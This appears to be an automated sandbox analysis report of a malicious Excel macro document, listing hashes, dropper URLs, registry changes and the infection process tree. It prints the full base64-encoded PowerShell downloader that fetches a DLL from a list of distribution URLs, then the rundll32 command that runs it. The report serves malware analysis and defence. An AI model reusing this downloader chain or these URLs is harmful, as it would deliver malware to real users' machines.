07e5152cf70487d86e525670cf3199b2950e7665c8e680547e71dd5266efde03

Analysis

max time kernel
128s
max time network
143s
platform
windows7_x64
resource
win7-en-20211208
submitted
07/02/2022, 23:36

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Report Analysis Logs

General

Target
tmpnj0ssw93.xls
Size 129KB
Sample220207-3ll3faagbl
SHA256 07e5152cf70487d86e525670cf3199b2950e7665c8e680547e71dd5266efde03
MD5 042633378cd7d9caf6aa534ea3fd944d
SHA1 cab5f2e18f7d0b18bad0ce75b35a5ec6a5c61034
SHA512 dab5709538673a0c75cfd776ed28d65c8aa4d07b3d06615fb5e488ee47b79ba47b9c0ab670599d56347ad56d30bdc5480c08842ec896fb8501078b4edbda9547
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://fullness-safety.com/-/P6x/
exe.dropper
https://nabajyotifoundation.com/da8uc7jo/4Za/
exe.dropper
https://dwwmaster.com/wp-content/ebHTB4UF2/
exe.dropper
http://formula8020.com/css/56Dzi0P/
exe.dropper
https://calad-formation.fr/r3x94z/kgZ9OGCi/
exe.dropper
http://lissbernardin.com/hthjb3i/x9KHpCeYrr/
exe.dropper
http://royalsnackmyanmar.com/wp-includes/GMtz6DxM/
exe.dropper
http://pristineservices.findfacts.co.in/cgi-bin/BuLyc2HKLHIQVHQLc/
exe.dropper
http://speedrankingsystem.de/wp-admin/k63ZcimPsE6/
exe.dropper
https://tigela.org.np/wp-content/Irp27O71/
exe.dropper
https://royaltyrealtynsb.com/backup_1/g51THhhLLUqodx6/
exe.dropper
http://bachilleratoporciclos.co/wp-content/PvIIx7/
exe.dropper
https://edu-media.cn/wp-admin/cKi/
exe.dropper
https://rtd.b2bpipe.cn/wp-content/8ESRhIJAIRh/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1272	980	wscript.exe	26

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\TypeLib\{6343AD88-D602-43AF-A836-8A2A195B8E0A}\2.0\FLAGS\ = "6"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
980	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
980	EXCEL.EXE
980	EXCEL.EXE
980	EXCEL.EXE
980	EXCEL.EXE
980	EXCEL.EXE
980	EXCEL.EXE
980	EXCEL.EXE

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 980 wrote to memory of 1272	980	EXCEL.EXE	29
PID 980 wrote to memory of 1272	980	EXCEL.EXE	29
PID 980 wrote to memory of 1272	980	EXCEL.EXE	29
PID 980 wrote to memory of 1272	980	EXCEL.EXE	29
PID 1272 wrote to memory of 1160	1272	wscript.exe	30
PID 1272 wrote to memory of 1160	1272	wscript.exe	30
PID 1272 wrote to memory of 1160	1272	wscript.exe	30
PID 1272 wrote to memory of 1160	1272	wscript.exe	30
PID 1160 wrote to memory of 1624	1160	cmd.exe	33
PID 1160 wrote to memory of 1624	1160	cmd.exe	33
PID 1160 wrote to memory of 1624	1160	cmd.exe	33
PID 1160 wrote to memory of 1624	1160	cmd.exe	33
PID 1272 wrote to memory of 1416	1272	wscript.exe	35
PID 1272 wrote to memory of 1416	1272	wscript.exe	35
PID 1272 wrote to memory of 1416	1272	wscript.exe	35
PID 1272 wrote to memory of 1416	1272	wscript.exe	35
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36
PID 1416 wrote to memory of 1964	1416	cmd.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpnj0ssw93.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:980
- C:\Windows\SysWOW64\wscript.exe
  wscript c:\programdata\yhjlswle.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\programdata\ughldskbhn.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwAHMAOgAvAC8AZgB1AGwAbABuAGUAcwBzAC0AcwBhAGYAZQB0AHkALgBjAG8AbQAvAC0ALwBQADYAeAAvACwAaAB0AHQAcABzADoALwAvAG4AYQBiAGEAagB5AG8AdABpAGYAbwB1AG4AZABhAHQAaQBvAG4ALgBjAG8AbQAvAGQAYQA4AHUAYwA3AGoAbwAvADQAWgBhAC8ALABoAHQAdABwAHMAOgAvAC8AZAB3AHcAbQBhAHMAdABlAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBlAGIASABUAEIANABVAEYAMgAvACwAaAB0AHQAcAA6AC8ALwBmAG8AcgBtAHUAbABhADgAMAAyADAALgBjAG8AbQAvAGMAcwBzAC8ANQA2AEQAegBpADAAUAAvACwAaAB0AHQAcABzADoALwAvAGMAYQBsAGEAZAAtAGYAbwByAG0AYQB0AGkAbwBuAC4AZgByAC8AcgAzAHgAOQA0AHoALwBrAGcAWgA5AE8ARwBDAGkALwAsAGgAdAB0AHAAOgAvAC8AbABpAHMAcwBiAGUAcgBuAGEAcgBkAGkAbgAuAGMAbwBtAC8AaAB0AGgAagBiADMAaQAvAHgAOQBLAEgAcABDAGUAWQByAHIALwAsAGgAdAB0AHAAOgAvAC8AcgBvAHkAYQBsAHMAbgBhAGMAawBtAHkAYQBuAG0AYQByAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBHAE0AdAB6ADYARAB4AE0ALwAsAGgAdAB0AHAAOgAvAC8AcAByAGkAcwB0AGkAbgBlAHMAZQByAHYAaQBjAGUAcwAuAGYAaQBuAGQAZgBhAGMAdABzAC4AYwBvAC4AaQBuAC8AYwBnAGkALQBiAGkAbgAvAEIAdQBMAHkAYwAyAEgASwBMAEgASQBRAFYASABRAEwAYwAvACwAaAB0AHQAcAA6AC8ALwBzAHAAZQBlAGQAcgBhAG4AawBpAG4AZwBzAHkAcwB0AGUAbQAuAGQAZQAvAHcAcAAtAGEAZABtAGkAbgAvAGsANgAzAFoAYwBpAG0AUABzAEUANgAvACwAaAB0AHQAcABzADoALwAvAHQAaQBnAGUAbABhAC4AbwByAGcALgBuAHAALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASQByAHAAMgA3AE8ANwAxAC8ALABoAHQAdABwAHMAOgAvAC8AcgBvAHkAYQBsAHQAeQByAGUAYQBsAHQAeQBuAHMAYgAuAGMAbwBtAC8AYgBhAGMAawB1AHAAXwAxAC8AZwA1ADEAVABIAGgAaABMAEwAVQBxAG8AZAB4ADYALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBjAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUAB2AEkASQB4ADcALwAsAGgAdAB0AHAAcwA6AC8ALwBlAGQAdQAtAG0AZQBkAGkAYQAuAGMAbgAvAHcAcAAtAGEAZABtAGkAbgAvAGMASwBpAC8ALABoAHQAdABwAHMAOgAvAC8AcgB0AGQALgBiADIAYgBwAGkAcABlAC4AYwBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADgARQBTAFIAaABJAEoAQQBJAFIAaAAvACIALgBzAFAATABJAHQAKAAiACwAIgApADsAIABmAG8AUgBlAEEAQwBoACgAJAB5AEkAZABzAFIAaAB5AGUAMwA0AHMAeQB1AGYAZwB4AGoAYwBkAGYAIABpAE4AIAAkAE0ASgBYAGQAZgBzAGgARAByAGYARwBaAHMAZQBzADQAKQB7ACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAYgBuAGUAdQBpAGgAbABvAHcAcwAuAGQAbABsACIAOwBpAG4AVgBPAGsAZQAtAHcAZQBCAHIARQBxAFUAZQBzAFQAIAAtAHUAUgBJACAAJAB5AEkAZABzAFIAaAB5AGUAMwA0AHMAeQB1AGYAZwB4AGoAYwBkAGYAIAAtAG8AVQB0AEYASQBsAGUAIAAkAEcAdwBlAFkASAA1ADcAcwBlAGQAcwB3AGQAOwAgAGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\bneuihlows.dll,hjyldksfkw3
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\bneuihlows.dll,hjyldksfkw3
      4⤵
      PID:1964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/980-62-0x0000000006170000-0x0000000006171000-memory.dmp

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memory/980-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/980-58-0x00000000751B1000-0x00000000751B3000-memory.dmp

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memory/980-60-0x0000000005D30000-0x0000000005D32000-memory.dmp

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memory/980-59-0x0000000006162000-0x0000000006163000-memory.dmp

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memory/980-61-0x0000000006162000-0x0000000006163000-memory.dmp

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memory/980-54-0x000000002F5E1000-0x000000002F5E4000-memory.dmp

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memory/980-63-0x0000000006170000-0x0000000006171000-memory.dmp

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memory/980-64-0x0000000006170000-0x0000000006171000-memory.dmp

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memory/980-57-0x0000000071E1D000-0x0000000071E28000-memory.dmp

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memory/980-66-0x0000000006170000-0x0000000006171000-memory.dmp

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memory/980-55-0x0000000070E31000-0x0000000070E33000-memory.dmp

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memory/980-77-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/1624-73-0x0000000002450000-0x000000000309A000-memory.dmp

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memory/1624-74-0x0000000002450000-0x000000000309A000-memory.dmp

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memory/1624-75-0x000000006AFF0000-0x000000006B59B000-memory.dmp

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memory/1624-72-0x000000006AFF0000-0x000000006B59B000-memory.dmp

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